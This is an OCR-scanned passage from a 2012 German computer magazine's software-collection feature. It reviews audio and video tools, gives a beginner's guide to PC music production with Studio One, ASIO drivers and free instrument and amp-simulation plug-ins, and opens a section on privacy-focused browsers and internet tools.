verzeichnis oder direkt auf den Stick.  (hag)

Den meisten MKV-Videodateien fehlen
Kapitel, in denen man blattern konnte.
Damit man beim digitalen Filmabend nicht
durch die ganze Datei spulen muss, gibt es

den MKV-Chapterizer. Das Programm un-
terteilt MKV-Dateien in frei wéahlbaren Inter-
vallen in Kapitel. Enthélt die Datei bereits
eine Kapitelstruktur, kann das Tool diese ent-
fernen oder ersetzen. Auf Wunsch versieht
die Anwendung auch eine ganze MKV-
Sammlung automatischen mit Zwischen-
schritten/Kapiteln. Eine automatische Sze-
nenerkennung, die einen beim Setzen der
Kapitelmarken unterstiitzen wirde, gibt es
leider nicht. (Florian Klan/vza)

Die Tool-Sammlung MKVToolNix

von Moritz Bunkus erstellt und
analysiert Dateien im Matroska-Container-For-
mat. Fur jede Aufgabe steht in dem quelloffe-
nen Paket ein separates Programm bereit.

Das Programm mkvmerge fasst Audio- und
Videodateien sowie Untertitelspuren in MKV-
Dateien zusammen. Mit dem integrierten Edi-
tor kann man Kapitelstrukturen anlegen. Auf
Wunsch erstellt das Tool auch Videos im
WebM-Format, wenn man es mit VP8-kodier-
ten Videos mit Vorbis-Tonspur flittert. Weitere
Programme in der Sammlung informieren
Uber den Dateiinhalt (mkvinfo), andern Eigen-
schaften (mkvpropedit) oder extrahieren
(mkvextract) einzelne Bestandteile bestehen-
der MKV-Dateien. (Florian Klan/vza)

Die grof3e Starke von Mp3Tag liegt in

der Unterstlitzung zahlreicher Audio-
formate. Metatags lassen sich aus den Daten-
banken von Amazon, Discogs und Mu-
sicBrainz beziehen; mittlerweile ladt das
Werkzeug auch Album Art bei Amazon
herunter. Uber ,Aktionen” lassen sich kom-
plexe Abldufe automatisieren, etwa das Tren-
nen eines falsch angelegten Title-Tags in Titel
und Kiinstler oder die Ubertragung von Infor-
mationen aus einem Feld in ein anderes.(ghi)

Viele MP3-Dateien enthalten
kleine Defekte. Insbesondere bei
der Ubertragung von Streams kommt es

Der TV-Browser stellt das Fernsehprogramm einer individuell
konfigurierbaren Senderauswahl tbersichtlich dar.
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immer wieder zu Aussetzern. Die meisten
Player handhaben diese Defekte mit Nach-
sicht und resynchronisieren den Stream,
ohne dass der Horer davon etwas mitbeka-
me. Gelegentlich sind aber auch deutliche
Knackser oder andere Klangartefakte zu
horen. Bevor man die defekte Datei weg-
schmeift, sollte man sie an das Kommando-
zeilenwerkzeug MP3val verfuttern. Am kom-
fortabelsten geht das Uber grafische Bedien-
oberflachen: Fir Windows liegt dem Release
das ,MP3val-frontend” bei, fiir andere Syste-
me greift man auf das GTK-Frontend mp3val-
gui zurtick. Nach einem Prifdurchlauf Gber
das Lupen-Symbol markiert man die mit
PROBLEM" gekennzeichneten Tracks und
wahlt dann aus dem Kontextmeni ,Repair
selected files” beziehungsweise klickt in der
Mendileiste auf das Zahnrad. (ghi)

Wer lickenhaft getaggte

E ! X %4 Musikarchive auf der Fest-

platte aufraumen will, sollte es mal mit Mu-
sicBrainz Picard versuchen. Picard erkennt
Musikstiicke anhand ihrer digitalen Finger-
abdricke wieder, die mit den Datenbanken
von AmpliFIND (MusicDNS) und AcoustID
abgeglichen werden. Das klappt oft hervor-
ragend, auch wenn ein Titel nur ,Track 1”
heiBt. Mitunter verhaut sich die Automatik
aber - vor dem Speichern sollte man die Er-
gebnisse also auf jeden Fall aufmerksam
durchgehen, damit man die Metainformatio-
nen nicht verschlimmbessert. Fir die Nut-
zung von AcoustlD muss man erst online
einen API-Schlissel anfordern; die Registrie-
rung ist kostenlos. (ghi)

Das Sound Recognition Lab

wurde entwickelt, um Gerdusche
analysieren, vergleichen und klassifizieren zu
kénnen. Es eignet sich fir Linguisten genau-
so wie fiir Biologen, die verschiedene Tierlau-
te vergleichen und katalogisieren wollen. In
den verschiedenen Ansichten zu Wellen-
form, Schalldruck und Phasen-Spektro-
gramm lassen sich einzelne Abschnitte mar-
kieren und mit verschiedenen Annotationen
versehen, die dann in die Datenbank aufge-
nommen werden. (hag)

Das kleine Programm SoundGraf

von Heinrich Pohlmann stellt Tonsig-
nale vom Audioeingang des PC als Oszillo-
gramm dar. Direkt nach der Installation
zeigt das Tool den Pegel von Signalen auf
vierzehn konfigurierbaren Frequenzban-
dern an; auflerdem gibt es Auskunft Gber
Durchschnittspegel und Frequenz. Zusatz-
lich stehen sechs grafische Visualisierungen
zur Verfiigung. (Florian Klan/vza)

Der russische TagScanner teilt seine

Oberflache in vier Karteireiter: ,Music
Renamer” kiimmert sich um die Vereinheitli-
chung von Dateinamen; ,Tag Editor” dient
zur manuellen Bearbeitung einzelner oder
mehrerer Titel; ,Tag Processor” erganzt Tags
aus Online-Datenbanken, anhand der Datei-
namen oder aus CSV-Dateien; ,List Maker”

't 2012, Heft 15

Qete fewbeten Epres  naeiungen  Hife
HH® — e b 5

Ouck_Sauce- B Bt 1 - Oweg YPEG 1Laver 3320 oe 44200 He Jort SbereaT: 54

Earth Natson

Fuitdess Hare: 05 - Sourk - Tghten [tUp.m03

Format %e{wac) Hive)
GeorgSchraman

Hooey Lewts & the Mews

Nctung But The Beat - The Electronsc Album

Shoaovach The Sympharses (Hybnd SACD] C...
Srratrvich The Symphanves (Hybrid SACOL C.

¥} 03- Spunk - Lave Look Good On You.mp3

erzeugt Playlists und Tabellen. Bei der Bear-
beitung kann man zusatzliche ,Text-Umfor-
mungen” vorgeben, um etwa Schreibweisen
zu vereinheitlichen. (ghi)

Videobearbeitung

Das freie Capturing Tool AV-Cutty si-

chert DV-Bénder und hilft bei ihrer Ver-
arbeitung. Die mit Camcordern mitgelieferten
Videoschnittprogramme komprimieren Ban-
der héufig zur Ausspielung auf DVD; AV-Cutty
speichert das Material hingegen in seiner ur-
springlichen Qualitat. Das Tool speichert
Video- und Audiodatenstrome der Bander in
DV-AVI-Dateien vom Typ 1 oder 2, ohne diese
daflr erneut zu kodieren. Zusatzlich lassen
sich die eingespielten Videos in Szenen auftei-
len und trimmen. Optional erkennt das Pro-
gramm automatisch Szenen und erzeugt
daraus Subclips. (Florian Klan/vza)

Ein unverzichtbares Mittel zur auto-

matisierten Videoverarbeitung stellt
die Videoskriptsprache AviSynth dar, die
sich mit zahlreichen kostenfreien Plug-ins
unabhéangiger Entwickler erweitern ldsst;
eine Liste findet sich beispielsweise unter
http://avisynth.org/warpenterprises/. Weni-
ge Skriptzeilen reichen, um ein Video auto-
matisch mit Vor- und Nachspann, einem
Wasserzeichen sowie individueller Bauch-
binde zu versehen und es auf die gewinsch-
te Zielauflésung zu stutzen. Zur Ausfihrung
von .avs-Skripten braucht man eine Host-
Anwendung wie einen DirectShow-féhigen
Player, VirtualDub (siehe unten) oder den
AviSynth-Editor AvsPmod. Letzterer hilft
mit Syntax-Hervorhebung und Autovervoll-
standigung von AviSynth-Befehlen beim Er-
stellen der Skripte; eine Vorschaufunktion
hat AvsPmod ebenfalls an Bord. (vza)

TsRemux verpackt verschiedene Da-
tenstrome von MPG oder TS bis zu
VOB wahlweise in M2TS- oder TS-Container-
Dateien. Optional erzeugt das Tool Blu-ray-

Software-Kollektion | Audio/Video

In Version 2 sieht
der Audio-Tagger
Kid3 deutlich
zugdnglicher aus
als zuvor.

fahige Ordner. Beim Remuxen lassen sich
einzelne Video- oder Audiostrome entweder
entfernen oder aus dem Multiplex heraus-
trennen. Zusatzlich kann das Programm Da-
tenstrome trimmen und in Kapitel untertei-
len. (Florian Klan/vza)

Ausgewdhlte Kapitel der
Videotrainings von video-
2brain zeigen, wie man Videos mit Spiegel-
reflexkameras dreht und sich dabei deren
spezielle Fahigkeiten zunutze macht, geben
Tipps zum manuellen Fokussieren und zum
Einstellen der ,richtigen” Empfindlichkeit.
Das zweite Training widmet sich dem
Umgang mit Adobes Videoschnittprogramm
Premiere Elements 10 - vom Importieren der
Inhalte Uber die Verwendung der Zeitleiste
bis hin zur automatischen Takterkennung.
(vza)

Obwohl das AVI-Format langst nur

noch eine untergeordnete Rolle spielt,
kann die kleine AVI-Videobearbeitung Vir-
tualDub weiterhin nutzliche Dienste leisten.
Besonders im Zusammenspiel mit AviSynth
und dessen universellen Quellfilter-Plug-in
ffmpegsource (aus lizenztechnischen Griin-
den nicht auf der DVD, c't-Link: http://
code.google.com/p/ffmpegsource/) kann
man damit viele Dinge ausprobieren, ohne
gleich ein ausgewachsenes Videoschnittsys-
tem bemuhen zu missen. VirtualDub bringt
zahlreiche Audio- und Videobearbeitungsfil-
ter mit und lasst sich mit Plug-ins - vornehm-
lich zur Restauration - erweitern (http://neu
ron2.net/). (vza)

Wer unter Windows oder Mac

OS X Videos in dem quelloffenen
WebM-Format abspielen will, muss die pas-
senden Decoder nachinstallieren. Das WebM
Project bietet sie in Form von DirectShow-Fil-
tern fur Windows und einer QuickTime-Kom-
ponente fur Mac OS X an. (vza)

www.ct.de/1215102 ct

107



Nico Jurran, Kai Schwirzke

Virtueller Musikant

Das Musikstudio im Rechner

Vom Einspielen von Musik {iber das Arrangieren und Editieren bis

zum Mischen: Der Computer ist ein wahrer Tausendsassa im Tonstudio.
Er kann Effekte beisteuern und sogar die Sounds legendérer Gitarren-
und Bassverstarker emulieren. Unsere Software-Kollektion bietet beste
Voraussetzungen fiir die ersten Schritte in die Welt der digitalen

Musikproduktion. -

Einen hervorragenden Ausgangspunkt fir
eigene Audio-Experimente stellt die Free-
ware-Version des Programms Studio One
von Presonus dar. Der Ableger dieser
professionellen  Recording-Appli-
kation erlaubt die Aufnahme sowie
das Editieren und Arrangieren von
Audio- und MIDI-Spuren. Uber das in-
tegrierte Mischpult bringt man die Spu-
ren ins richtige Lautstarkeverhaltnis, au-
Berdem gestattet das Programm die Einbin-
dung von Software-Effekten und -Instrumen-
ten (Plug-ins).

Studio One verfolgt das Konzept der
.Docked Windows"; alle Arbeitsbereiche lie-
gen also an festen Platzen und versperren
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nicht, wie bei vielen anderen fensterbasier-
ten Applikationen, die Sicht auf Wesentli-
ches. Am schnellsten macht man sich

mit diesem Konzept vertraut, indem

man die Funktionstasten F2 bis F5
ausprobiert: F2 6ffnet den Spur-

Editor, F3 das Mischpult, F4 den
Infobereich fur ausgewdhlte Ereig-

nisse und F5 zeigt den Browser fir

alle auf dem System installierten Effekt-
und Instrumenten-Plug-ins, Loops und an-
dere Sounds. Um beispielsweise eine Spur
mit einem Software-Instrument einzurich-
ten, ziehen Sie einfach das gewiinschte
Exemplar aus dem Ordner namens Instru-
mente auf die freie Flache im Arrangement-

Bereich. Studio One richtet dann automa-
tisch eine neue Spur ein.

Gleiches gilt fur die Effekte. Um die Instru-
mentenspur mit etwas Hall aufzupeppen,
greifen Sie sich das Plug-in lhrer Wahl aus
dem Effekte-Ordner und bewegen es aufdie
Zielspur. Ein Blick auf das Mischpult (F3)
zeigt, dass das Plug-in als Insert-Effekt in der
korrespondierenden Spur aufgefiihrt wird.
Allerdings missen Sie zuvor die Ansicht mit
dem Klein/GrofB-Icon (der kleine nach oben
und unten zeigende Doppelpfeil ganz links
im Mischpult) vergroBern.

Bevor es mit den Software-Instrumenten
und -Effekten (Plug-ins) weitergeht, kurz eini-
ge Anmerkungen zur Steuer- und Audio-
Hardware. Beides sollten Sie vor der ersten
Aufnahmesession konfigurieren, um spater
den Workflow nicht unterbrechen zu missen.

Steuermann

Bei Software-Instrumenten Gbernimmt zwar
der Computer die Klangerzeugung, die An-
steuerung erfolgt jedoch Uber einen exter-
nen Controller, in der Regel ein Keyboard.
Das Ubertragt, je nach Ausstattung, neben
Tonhohe und Lautstarke weitere Perfor-
mance-Parameter. Dabei kommt als Protokoll
seit mehr als 25 Jahren MIDI (Musical Instru-
ment Digital Interface) zum Einsatz. Ur-
sprunglich wurde MIDI-Equipment mit 5-po-
ligen DIN-Kabeln vernetzt, doch mittlerweile
lassen sich die Informationen sehr viel beque-
mer auch Uber USB und FireWire tGbertragen.

Vereinfacht - gesprochen enthalten die
MIDI-Daten beispielsweise Angaben dartiber,
welche Taste mit welcher Anschlagstarke und
fur welche Dauer gedriickt wurde. Gegentiber
einer Audioaufnahme muss der zur Eingabe
verwendete MIDI-Controller beispielsweise
keinen direkten Bezug zum Software-Instru-
ment haben; per Keyboard kann man ebenso
gut ein Streichorchester wie ein Schlagzeug
einspielen. Im Unterschied zu Audioaufnah-
men lassen sich aufgezeichnete Steuerdaten
im Nachhinein problemlos bearbeiten - etwa
um Fehlgriffe zu korrigieren.

Studio One kennt eine ganze Reihe sol-
cher Controller-Keyboards und weil3, welche
Taster, Schiebe- und Drehregler diese Model-
le mitbringen. Mit etwas Glick finden Sie Ihr
Exemplar unter den Optionen beiden ,exter-
nen Geraten” und kdnnen es dort anwahlen.
Der Vorteil: Sie mussen die Controller-Ele-
mente nicht erst per Hand konfigurieren.
Aber keine Sorge: Eine normale MIDI-Tasta-
tur erkennt das Programm in jedem Fall, Sie
mussen lediglich den korrekten MIDI-Port
respektive Gerdtetreiber auswdhlen.

Ausgabestelle

Wie bei aufs Musikmachen spezialisierten
Programmen Ublich, missen Sie Studio One *
auBerdem in den Optionen mitteilen, Gber
welches Gerat und welche Ports Sie Audiosig-
nale aufnehmen und ausgeben mochten. Im
einfachsten Fall wéhlen Sie als Klangausgabe-
gerdt (Optionen/Audiogerat) den auf dem
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Motherboard integrierten Soundchip. Doch
solche Onboard-Losungen schneiden beim
Thema Latenz oft bescheiden ab; die Verzo-
gerung zwischen Anschlag auf dem Steuer-
Keyboard und Ton ist dann so groB3, dass ver-
nunftiges Musizieren schwierig wird. Um das
zu vermeiden, gibt es auf Musikanwendun-
gen spezialisierte Audioldsungen mit studio-
typischen Anschlissen und kurzen Reak-
tionszeiten (Latenzen), die haufig mehr als
nur einen Stereo-Ein- beziehungsweise -Aus-
gang zur Verfligung stellen. Kurze Latenzzei-
ten werden nicht nur durch eine besondere
Hardware-Architektur erzielt, sondern auch
durch spezielle Treiberkonzepte. Das bekann-
testeist sicherlich Steinbergs ASIO.

Doch fiir viele Audio-Geréte wie beispiels-
weise die Onboard-Sound-Devices gibt es
keine ASIO-Treiber.

Auf Windows-PCs hilft ASIO4ALL, ein

universeller ASIO-Treiber, der auch mit
herkdmmlichen Audiolésungen halbwegs
brauchbare Latenzen erzielt. Die Handha-
bung ist denkbar einfach: Sie miissen dem
Treiber zundchst mitteilen, fir welche Audio-
Hardware er zustandig sein soll (zum Beispiel
SoundMAX Integrated Digital HD Audio).
Dann wahlen Sie mit dem unteren Schiebe-
regler den Wert fiur die ASIO-BuffergroBe. Je
kleiner dieser Wert, desto geringer die Latenz
— desto besser also. Allerdings belasten klei-
nere Pufferwerte das System in héherem
Mafe, sodass Sie durch Probieren herausbe-
kommen mussen, was auf lhrem Computer
maoglich ist. Sobald Sie Stérgerdusche wie
Knistern oder Knacken vernehmen, sollten
Sie den ASIO-Buffer wenigstens um eine
Stufe vergroBern.

Mit zunehmender ProjektgréBe steigt die
sogenannte ASIO-Last an. Je mehr Spuren,
Instrumente und Plug-ins Sie einsetzen,
umso groBBer die CPU-Belastung. Es kann also
notwendig werden, einen anfangs gefunde-
nen Wert fir den ASIO-Buffer zu einem spa-
teren Zeitpunkt nach oben zu korrigieren.

Nur mit Onboard-Hardware kommt man
indes nicht weit. Der Anschluss von musiker-
typischen Gerdtschaften wie Kondensator-
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mikrofon, E-Gitarre oder Keyboard erfordert
zusatzliches Equipment; Im einfachsten Fall
ist dies ein Adapter, im aufwendigsten ein
separater Vorverstarker oder gar ein kleines
Mischpult.

Instrumente

Studio One Free wird mit acht Effekt-Plug-ins
geliefert, virtuelle Instrumente gehoren
indes nicht zum Lieferumfang. Auf der Heft-
DVD finden Sie daher eine Reihe anspre-
chender Freeware-Instrumente aus den un-
terschiedlichsten Kategorien.

Damit Software-Instrumente und -Effekte
in Sequencern wie Studio One funktionieren,
missen beide Komponenten Uber eine Soft-
ware-Schnittstelle miteinander kommunizie-
ren. Die verbreitetste ist die von Steinberg
entwickelte Virtual Studio Technology (VST

Mit dem Universal-
treiber ASIO4ALL
erzielen Sie auch mit
Onboard-Soundchips
ertragliche Latenzen.
Die Bedienung ist
denkbar einfach.

Software-Kollektion | Musik am PC

Studio One von Presonus arbeitet
mit gedockten Fenstern - fiir eine
bessere Ubersicht.

Um in Studio One eine Instrumenten-
spur zu erstellen, ziehen Sie einfach
das Instrument auf den freien
Arrangement-Bereich.

beziehungsweise VSTi, wenn es explizit um
Instrumente geht). Sie wird praktisch von
allen relevanten Windows-Musikanwendun-
gen unterstitzt; auch viele Audioprogramme
unter Mac OS X nutzen sie. Auf Apple-Rech-
nern sind weiterhin die ,,Audio Units” (AU) zu
finden, eine Erweiterung der (seit Mac OS X
10.0) betriebssystemeigenen Audio-Schnitt-
stelle Core Audio. Apple selbst setzt exklusiv
auf AU, aber auch andere DAWs kommen mit
Plug-ins in diesem Format zurecht. Das Wind-
ows-Gegenstiick DirectX (DX beziehungswei-
se DXi) wird zwar von einigen Musikprogram-
men unterstutzt, ist mittlerweile aber de facto
nicht mehr relevant.

Um Software-Instrumente einfach nur zu
spielen, braucht man nicht gleich einen Se-
quencer wie Studio One. Als Alternative
empfehlen sich sogenannte VST-Hosts. Diese
Applikationen laden Plug-ins und verbinden
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sie mit den MIDI- und Audio-Schnittstellen.
Technisch gesprochen stellen Hosts also eine
Laufzeitumgebung fiir Plug-ins bereit — was
natirlich auch mit Effekt-Plug-ins funktio-
niert. Praktisch macht so ein Host aus einem
Plug-in ein Stand-alone-Programm. L&dt
man beispielsweise ein Piano-Modul in einen
Host, lasst es sich anschlieBend Uber das
MIDI-Keyboard spielen und tiber die Ausgan-
ge der Audiokarte abhoren. Auf der Heft-
DVD finden Sie den Freeware-Klassiker VST-
Host fur Windows-Rechner.

Instrumenten-Plug-ins

Lange Zeit war vor allem das An-

gebot an kostenfreien Software-
Pianos recht mager. Das lberzeugendste
Exemplar kommt aktuell wohl von George
Yohng, seines Zeichens Entwicklungschef
bei 4FrontTechnologies. Dort betreut Yohng
unter anderem das kommerzielle Produkt
4Front True Pianos. Yohngs 4Front Piano ist
dessen kleiner Bruder. Hier wie dort wird der
Klang nicht mit Hilfe von Samples, sondern
mittels des sogenannten ,Physical Model-
ling” erzeugt. Im Ergebnis ist das Plug-in nur
rund 35 MByte gro3 und wird entsprechend
schnell geladen. Wéahrend das kommerzielle
Produkt die Auswahl zwischen verschiede-
nen Fligeln bietet, steht bei der Freeware le-
diglich ein Klavier (Upright Piano) zur Verfu-
gung; zudem lassen sich keine Einstellungen
vornehmen. Das Ergebnis klingt dennoch
mebhr als ordentlich.

Im Unterschied zu den kommerziellen
Produkten werden die kostenfreien Plug-ins
von Yohng ohne Installationsroutine ausge-
liefert. Man muss sie also manuell an die rich-
tige Stelle verfrachten. Das klingt schwieri-
ger, als es ist: Unter Windows wird VST, unter
OS X daneben auch AU und RTAS unter-
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stutzt. Auf dem Apple schiebt man einfach
die Datei ,4Front Piano.component” in das
Verzeichnis Library/Audio/Plug-ins/Compo-
nents. Dieses erreicht man vom Hauptbild-
schirm tiber das Dropdown-Menu ,Gehe zu”
(unter OS X Lion mit gedrickter Alt-Taste).

In der Kategorie E-Piano hat

Yohng gleich zwei virtuelle
Exemplare parat: Das 4Front E-Piano bildet
den Klang eines Yamaha DX7 nach, das
4Front Rhode den klassischen Sound eines
Rhodes RSP73 - wobei der Programmierer
jeweils ohne Samples auskam. Das virtuelle
Yamaha-Piano nimmt dadurch gerade ein-
mal 24 MByte auf der Festplatte ein, das vir-
tuelle Rhodes ist sogar nur rund halb so grof3.
Installation und Betrieb verlaufen wie bei
4Front Piano. Im Unterschied zur Yamaha-Si-
mulation kann der Anwender beim Soft-
ware-Rhodes an verschiedenen Parametern
drehen - darunter Filterfrequenz und -glite.

Ebenfalls per Physical Modelling

bildet 4Front Bass den Sound
eines beliebten E-Basses amerikanischer Pro-
vinienz nach. Die Handhabung ist besonders
einfach, denn es gibt keine Parameter und
keine Presets. Trotzdem lohnt sich das Aus-
probieren, denn der Bass-Sound passt gut in
den Mix, entwickelt ordentlich Punch und
setzt sich dank hinreichend ausgepragter
Hohenanteile gut durch.

Sample Player

Kontakt 5 von Native Instruments zahlt
zu den flhrenden Software-Samplern;
fast alle relevanten Libraries auch von Dritt-
anbietern erscheinen mittlerweile aus-
schlieBlich fur dieses Programm. Der kosten-
lose Kontakt Player kann all diese Bibliothe-

ken zwar abspielen, bietet aber deutlich we-
niger Eingriffsméglichkeiten als sein grofRer
Bruder. Auf der DVD findet sich zusatzlich die
Factory Selection - eine Zusammenstellung
von Sounds aus der Werksbibliothek von
Kontakt 5 aus den Bereichen Band, World,
Vintage, Synth und Urban Beats. Um sie nut-
zen zu kénnen, missen Sie sich nach der
Installation unter http://www.native-instru-
ments.com/kfs registrieren; danach wird
Ihnen eine Seriennummer zugemailt.

Lange schon stellt Native Instru-

ments mit Reaktor die Referenz,
wenn es um das Selberbauen auch komple-
xester virtueller Synthesizer geht. Viele En-
sembles, so heien die kompletten Klang-
erzeuger, sind frei im Netz erhaltlich, neben
den kostenpflichtigen Exemplaren von Nati-
ve. Der Native Instruments Reaktor Player
kann all diese Ensembles laden und als Plug-
in oder Stand-alone-Version bereitstellen.
Dazu gibt es wiederum die Factory Collection
mit drei Instrumenten (Carbon 2, Newscool
und Space Drone) und 200 Sounds.

Mit ihrem Elastik Player hat die in

Hannover  ansassige  Firma
Ueberschall ein eindrucksvolles Werkzeug
zum Arbeiten mit Loops geschaffen. Die Bi-
bliotheksverwaltung beeindruckt dabei eben-
so wie die zahlreichen Echtzeitfeatures und
das stufenlose Skalieren des User-Interfaces.
Fur die Heft-DVD spendierte Ueberschall au-
RBerdem eine exklusive Sample-Library.

Als Synthesizer noch richtige In-

strumente waren, nannte man
Exemplare wie den IK Multimedia Sample
Tank Free ,ROMpler”: Das waren Sample-
player mit einer mehr oder minder grof3en in-
ternen Bibliothek an gesampelten Instrumen-
ten und einigen grundlegenden, aber nicht
Ubertriebenen Eingriffsmdglichkeiten. Dieses
Konzept hat IK Multimedia schon seit vielen
Jahren erfolgreich auf den Sample Tank tber-
tragen. Auf der Heft-DVD finden Sie neben
dem selbsterklarenden Player auch eine
Demobibliothek mit immerhin 200 Sounds.

Effekte fur sechs Saiten

Der schon genannte Sequencer Studio One
Free bringt acht Effekt-Plug-ins mit (Beat
Delay, Chorus, Flanger, Phaser, Reverb, Chan-
nel Strip, Distortion, Stimmgerét); sie findet
man im bereits beschriebenen Browser (F5)
in der Kategorie Effekte im Unterordner Pre-
sonus. Die Heft-DVD erganzt dieses Angebot
vor allem fir Gitarristen mit einigen Lecker-
bissen: Saitenvirtuosen kénnen sich nicht
nur Uber einige Free-Versionen angesagter
kommerzieller Verstarkeremulationen, son-
dern auch Uber eine Reihe klanglich durch-
aus Uberzeugender Freeware-Perlen freuen

Der Reaktor Player und die Factory
Selection liefern drei Synthesizer und
200 Sounds.
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Eine Gitarre in ein computerbasiertes Re-
cording-System einzubinden ist prinzipiell
nicht schwieriger als ein Mikrofon anzu-
schlieBen. Allerdings sind im Fall einer E-Gi-
tarre/eines E-Basses einige Besonderheiten
zu beachten. Denn wahrend man beispiels-
weise ein Digitalpiano oder einen Hardware-
Synthesizer bedenkenlos an den ,Line-In"-
Eingang der Audiokarte andocken darf, fihrt
dies bei Instrumenten mit Magnettonabneh-
mern oft zu unerfreulichen Resultaten. Mag-
nettonabnehmer sind namlich zumeist hoch-
ohmig, Line-Eingdnge aber niederohmig. In
Folge dessen wird der Hohenanteil des Gitar-
rensignals geddampft - die Aufnahme klingt
dumpf und muffig. Abhilfe schaffen spezielle
Eingdnge an Audio-Interfaces, meistens In-
strument oder High Z genannt. Alternativ
kann man auch ein entsprechend ausgestat-
tetes Mischpult oder einen geeigneten Vor-
verstérker einsetzen.

Im Sequencer selbst bedarf eine Gitarren-
spur keiner auBBergewéhnlichen Vorberei-
tung. Richten Sie einfach eine neue Audio-
spur ein - in Studio One per Doppelklick ins
Spur-Display oder via Kontextmeni - und
stellen Sie sicher, dass lhre E-Gitarre am rich-
tigen Audioeingang eingestopselt ist. Jetzt
ziehen Sie eine der Ampsimulationen aus
dem Browser rechts auf die Gitarrenspur,
und schon kénnen Sie losrocken.

Doch stopp: Damit Sie das Eingangssignal
und das aktivierte Plug-in auch tatsachlich
horen, mussen Sie zuvor noch den kleinen
+Mithoren”-Button im Spurkopf aktivieren.
Dasist das kleine Lautsprechersymbol unter-
halb der Solo-Schaltflache (S).

IK Multimedias AmpliTube 3
Free lasst Sie in die Leistungs-
fahigkeit des kommerziellen Software-Gitar-
renracks hineinschnuppern: Neun Stomp-
boxes, vier Verstarker-Topteile und flnf
Boxentypen mit drei frei vor der Box positio-
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Mit dem Guitar Rig Player und der Factory Selection von Native
Instruments lassen sich amtliche Gitarren-Tracks einspielen.

Die Freeware-Suite Shred von Acme Bar Gig bietet sechs
verschiedene Gitarrenverstarker-Topteile inklusive Boxen-
und Mikrofonemulation.

nierbaren Mikrofonvarianten kénnen Sie be-
liebig miteinander kombinieren. Zuséatzlich
stehen zwei globale Effekte (Delay und EQ)
sowie ein Stimmgerat zur Verfligung. Wem
der Sinn nach mehr steht, der kann im On-
line-Shop von K Multimedia weit Gber 200
Module antesten und bei Gefallen kduflich
erwerben. Nach Installation von AmpliTube 3
mussen Sie lhre Version in einer kurzen Pro-
zedur bei K Multimedia registrieren.

Neben AmpliTube ist Guitar Rig der

wohl dienstélteste Software-Verstar-
keremulator. Der Guitar Rig Player von Na-
tive Instruments kommt mit einer Factory
Selection Library, die 17 Amps mit passen-
den Boxen sowie 13 Effekte umfasst. Eine
gute Gelegenheit also, AmpliTube und Gui-
tar Rig direkt miteinander zu vergleichen.
Allerdings weckt der Guitar Rig Player nicht
nur bei Gitarristen Begehrlichkeiten: Seit
einiger Zeit veroffentlicht Native hierfur
auch - kostenpflichtige - Effektmodule wie
Vintage-Kompressoren, die in erster Linie
fur den Einsatz im nicht gitarristischen Be-
reich gedacht sind. Wie AmpliTube 3 ist der
Guitar Rig Player selbsterkldrend und muss
nach der Installation beim Hersteller regis-
triert werden.

Die Verstarkersimulationen von Acme
Bar Gig demonstrieren eindrucksvoll,
dass auch Freeware-Plug-ins durchaus tber-
zeugen kénnen. Mit Razor, Series 60 und C-15
haben die Programmierer drei ganz dem
Schwermetall verpflichtete Verstarkersimula-
tionen herausgebracht. Die Plug-ins Knuckle
Head, Dick Head, Tamla Head, Brain 2 sowie
Tater Head widmen sich hingegen den klassi-
scheren Ampsounds von rockig-britisch
(Brain 2) Uber vintage-crunchy (Dick Head) bis
zu schmelzigen Clean-Sounds (Tamla Head).
Der neueste Wurf der Company ist die
Ampsuite namens Shred. Sie enthélt noch

einmal sechs tonal sehr unterschiedliche Ver-
starkertops und zehn Cabinet-Typen mit frei
definierbarer Mikrofonposition. AuBerdem
darf man aus den sechs Tops einen Lieblings-
amp zusammenbasteln. Das funktioniert
Uber die Funktion Customize Head, wo man
die Baugruppen der einzelnen Tops (zum
Beispiel Eingangssektion, EQ, Leistungsver-
starker) miteinander kombiniert.

Der CabEnhancer hingegen ahmt weder
einen Verstarker noch eine Lautsprecherbox
nach. Seine Aufgabe ist es, den nach Ansicht
der Programmierer oft statischen Sound von
Boxenemulationen wieder aufzupeppen, die
auf Impulsantworten basieren. Dazu simu-
liert das Plug-in eine speziell entwickelte Fil-
terschaltung, die in Abhéangigkeit von der
Dynamik des Gitarrenspiels das Resonanz-
verhalten der emulierten Box modifiziert. Ex-
perimentieren lohnt sich!

Gleiches gilt fir den Red Shift Pickup Re-
placer. Mit diesem Plug-in kénnen Sie die
Aufnahme einer E-Gitarre relativ rabiat in
ihren Klangeigenschaften verandern. So lasst
sich beispielsweise ein Singlecoil-Pickup
durch einen doppelspuligen Humbucker er-
setzen. Sogar das Holz der Gitarre kann nach-
traglich durch ein anderes ersetzt werden -
versprechen jedenfalls die Programmierer. In
der Praxis sind, losgeldst von solchen selbst-
bewussten Versprechen, durch die beiden
integrierten Multiband-Filter in jedem Fall
sehr brauchbare Variationen zu erzielen. Der
Pickup Replacer ist als einzelnes Plug-in ver-
flgbar, ist aber auch fest in Shred integriert.

Mit dem Aftershock Delay spendierte Acme
Bar Gig schlieBlich ein ausgesprochen gut
bestiicktes Delay: Drei unabhéngige Echoein-
heiten stehen zur Verfigung, die das Signal
bis zu jeweils 6 Sekunden (!) verzégern kon-
nen. Die drei Blocke sind fest links, rechts und
in die Stereomitte geroutet und natirlich in-
dividuell in der Lautstérke regulierbar. Das
macht nicht nur Gitarristen Spaf3! (uh) €&
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ei den Internet-Clients auf unserer Heft-

DVD steht das unbeobachtete Surfen im
Mittelpunkt: Mit JonDonym entzieht man
sich zuverlassig der standigen Beobachtung
durch Werbenetzwerke und Tracking-Diens-
te (siehe Kasten ,Maskenball”). Dartber hi-
naus haben wir eine Grundausstattung aus
Browser samt niitzlichen Erweiterungen, das
passende E-Mail-Programm mit einigem
Drumherum sowie Tools zum Chatten, Da-
teien Ubertragen, Online-Shopping und Ver-
walten von Passwértern zusammengestellt.
Sollten Sie allerdings Software suchen, um
selbst eine Website zu entwickeln oder einen
Server zu betreiben, miissen Sie ab Seite 116
weiterlesen.

Browser

In wenigen Jahren, aber vielen Ver-

sionsschritten hat es Google Chrome
vom gescholtenen Datenspion in die Spit-
zengruppe der beliebtesten Browser ge-
schafft. Kein Wunder: Der hauseigene
Browser stellt die Oberflachen der viel ge-
nutzten Webanwendungen von Google am
besten dar. Er glanzt aber auch im tbrigen
Web durch Geschwindigkeit; mit Erfindun-
gen wie der schnellen HTTP-Alternative
SPDY treibt Google andere Browser-Herstel-
ler vor sich her. Mittlerweile gibt es auch eine

112

ganze Menge Erweiterungen, mit denen sich
Chrome zum individuellen Webwerkzeug
aufristen lasst.

Konig der Erweiterbaren ist

jedoch Firefox: Es gibt
wenig, was man diesem Browser nicht mit
